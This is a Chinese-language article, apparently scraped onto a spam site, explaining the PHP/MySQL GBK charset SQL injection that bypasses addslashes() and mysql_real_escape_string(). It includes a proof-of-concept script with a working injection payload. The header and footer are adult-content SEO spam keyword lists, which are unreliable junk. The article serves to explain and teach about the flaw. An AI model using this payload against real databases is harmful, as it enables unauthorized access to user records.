麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 語言 > PHP > 正文

PHP字符GBK編碼漏洞總結

2024-09-04 11:50:19
字體:
來源:轉載
供稿:網友

其實這東西國內少數黑客早已知道,只不過沒有共享公布而已。有些人是不愿共享,寧愿爛在地里,另外的一些則是用來牟利。
該漏洞最早2006年被國外用來討論數據庫字符集設為GBK時,0xbf27本身不是一個有效的GBK字符,但經過 addslashes() 轉換后變為0xbf5c27,前面的0xbf5c是個有效的GBK字符,所以0xbf5c27會被當作一個字符0xbf5c和一個單引號來處理,結果漏洞就觸發了。

mysql_real_escape_string() 也存在相同的問題,只不過相比 addslashes() 它考慮到了用什么字符集來處理,因此可以用相應的字符集來處理字符。在MySQL 中有兩種改變默認字符集的方法。

方法一:

改變mysql配置文件my.cnf
[client]
default-character-set=GBK


方法二:
在建立連接時使用
SET CHARACTER SET 'GBK' 

例:mysql_query("SET CHARACTER SET 'gbk'", $c);
問題是方法二在改變字符集時mysql_real_escape_string() 并不知道而使用默認字符集處理從而造成和 addslashes() 一樣的漏洞
下面是來自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測試代碼

<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

縱觀以上兩種觸發漏洞的關鍵是addslashes() 在Mysql配置為GBK時就可以觸發漏洞,而mysql_real_escape_string() 是在不知道字符集的情況下用默認字符集處理產生漏洞的。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 激情小说色 | 亚洲爱爱网站 | 国产88久久久国产精品免费二区 | 中文字幕在线观看视频www | 深夜激情视频 | 色a综合| 欧美成人一二三区 | 午夜视频色| 在线免费观看精品 | 中文字幕在线免费 | 欧洲成人综合网 | 久久精品免费网站 | 色玖玖综合 | 日韩在线播放第一页 | 亚洲精品欧美二区三区中文字幕 | 视频一区二区中文字幕 | va毛片| 国产精品久久久久av | 一二区电影 | 可以看逼的视频 | 午夜av男人的天堂 | 毛片视频在线免费观看 | 精品中文字幕在线播放 | 国产自在自线午夜精品视频在 | 一级黄色影片在线观看 | 日本不卡一区二区三区在线观看 | 成人在线观看免费视频 | 亚洲第一页综合 | 日本一区二区不卡高清 | 欧美成人三级视频 | 日本在线视频二区 | 日本一区视频在线观看 | 草久影视| 成年人激情在线 | 伊人一二三四区 | 久久久三区 | 国产盼盼私拍福利视频99 | 成人午夜视屏 | 欧美精品久久久久久久多人混战 | 日韩视频一区二区三区在线观看 | 免费国产自久久久久三四区久久 |